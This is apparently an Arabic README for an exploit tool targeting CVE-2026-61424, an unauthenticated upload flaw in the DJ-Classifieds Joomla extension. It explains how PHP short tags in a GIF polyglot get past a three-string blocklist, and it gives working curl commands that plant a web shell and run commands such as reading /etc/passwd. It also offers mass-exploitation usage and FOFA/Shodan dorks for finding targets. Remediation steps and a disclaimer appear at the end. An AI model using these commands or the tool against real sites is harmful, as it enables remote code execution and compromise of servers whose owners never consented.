CVE-2026-61424 — DJ-Classifieds <= 3.11.1

مهمة imageupload ← بدون مصادقة ← تجاوز فلتر السلاسل الثلاث (

---

نظرة عامة

رفع ملفات تعسفي دون مصادقة في DJ-Classifieds لجوملا. يعالج نقطة نهاية مهمة imageupload عمليات رفع الملفات بدون مصادقة ويعتمد على قائمة حظر من 3 سلاسل (<?php, eval(, base64) يمكن تجاوزها بسهولة باستخدام وسوم الفتح القصيرة في PHP (<?=). وبدمج ذلك مع GIF متعدد الصيغ، يجتاز الملف المرفوع جميع فحوصات التحقق من الصور مع احتوائه على قشرة ويب PHP كاملة الوظائف.

الإصدارات المتأثرة

آلية الثغرة

السبب الجذري

ترتبط طريقة upload() في administrator/components/com_djclassifieds/lib/djupload.php بمهمة imageupload بدون أي فحص للمصادقة وبدون التحقق من رمز CSRF.

// administrator/components/com_djclassifieds/lib/djupload.php
// imageupload task → upload() method

// MISSING: JFactory::getUser() auth check
// MISSING: JSession::checkToken() CSRF check

$name     = $_REQUEST['name'] ?? $_REQUEST['filename'] ?? '';
$raw_body = file_get_contents('php://input');

// ... writes file to tmp/djupload/<name>

لماذا يفشل فلتر الأمان (تجاوز السلاسل الثلاث)

لا يحظر ماسح المحتوى سوى ثلاث سلاسل حرفية فقط:

// The ONLY malicious-content check in the entire upload handler:
if (preg_match('/<\?php|eval\(|base64/i', $fileContent)) {
    die('Malicious file detected');
}

هذا يحظر <?php وeval( وbase64 — ولكنه لا يحظر وسوم فتح PHP القصيرة:

<?=system($_GET['c']);?>     ← 0/3 blocked strings → PASSES

وسوم الصدى القصيرة في PHP (<?=) مفعّلة افتراضيًا منذ PHP 5.4.

تسلسل الهجوم

1. أنشئ ملفًا متعدد الصيغ: ترويسة GIF89a صالحة + <?=system($_GET['c']);?>
2. أرسل طلب POST إلى index.php?option=com_djclassifieds&task=imageupload مع name=shell.gif
3. يفحص الخادم: امتداد .gif ✓ getimagesize() ✓ لا يحتوي على <?php/eval(/base64 ✓
4. يُحفظ الملف في tmp/djupload/<shell>.gif
5. الوصول: https://target.com/tmp/djupload/shell.gif?c=id

ملفات المصدر المؤكدة

أدلة سجلات الخادم

لُوحظت فحوصات ماسح ضوئي مجهولة في البرية قبل الإفصاح:

POST /index.php?option=com_djclassifieds&task=imageupload
  name=<random>.gif  filename=<random>.gif
  — no cookie, no session, no referer

التثبيت

git clone https://github.com/shinthink/CVE-2026-61424.git
cd CVE-2026-61424
pip install -r requirements.txt

الاستخدام

هدف واحد

python cve_2026_61424.py -t target.com

استغلال جماعي

python cve_2026_61424.py -f targets.txt -o shells.txt

الوسائط

إثبات المفهوم

هدف واحد

$ python cve_2026_61424.py -t target.com

  Host         : target.com
  DJ-Classifieds: YES v3.11.1
  Upload       : YES
  RCE          : YES
  Shell        : https://target.com/tmp/djupload/img_abc123.gif
  Output       : DJ-SHELL-OK Linux ... uid=33(www-data) gid=33(www-data) ...
  Time         : 2.1s

الاستغلال اليدوي

# Step 1 — Upload polyglot shell
curl -sk -X POST \
  "https://target.com/index.php?option=com_djclassifieds&task=imageupload&name=shell.gif&filename=shell.gif" \
  -H "Content-Type: image/gif" \
  --data-binary @polyglot.gif

# Step 2 — Verify RCE
curl -sk "https://target.com/tmp/djupload/shell.gif?c=id;hostname;uname+-a"

# Step 3 — Execute arbitrary commands
curl -sk "https://target.com/tmp/djupload/shell.gif?c=cat%20/etc/passwd"

FOFA / Shodan

# DJ-Classifieds component
body="com_djclassifieds"

# Version disclosure (XML manifest)
body="DJ-Classifieds" && body="<version>"

# Exposed djupload directory
body="Index of" && body="djupload"

# Shodan
http.html:"com_djclassifieds" http.component:"Joomla"

الإصلاح (3.11.2)

1. إضافة مصادقة جوملا — فحص الضيف عبر JFactory::getUser() قبل upload()
2. إضافة التحقق من رمز CSRF — JSession::checkToken() على مهمة imageupload
3. تقييد أنواع الملفات — قائمة سماح من الصور فقط على الخادم (jpg, jpeg, png, gif)
4. تحسين فحص المحتوى — كشف إضافي لأنماط PHP يتجاوز قائمة الحظر المكونة من 3 سلاسل

التأثير

• RCE كامل — تنفيذ أوامر تعسفية كمستخدم خادم الويب
• وصول دائم — تبقى القشرة حتى تتم إزالتها يدويًا أو تنظيف الدليل
• إساءة استخدام المحتوى — رفع واستضافة ملفات تعسفية على نطاق موثوق
• استنزاف القرص — إمكانية رفع كميات كبيرة دون مصادقة
• هجمات متسلسلة — يمكن تضمين الصورة متعددة الصيغ عبر LFI في مواضع أخرى بالموقع

إخلاء مسؤولية

هذه الأداة مخصصة للاختبارات الأمنية التعليمية والمصرح بها فقط. استخدمها فقط ضد الأنظمة التي تمتلكها أو التي لديك إذن صريح لاختبارها. لا يتحمل المؤلف أي مسؤولية عن إساءة الاستخدام أو الأضرار.

المراجع

_{ليست تابعة لـ DJ-Extensions أو mySites.guru.}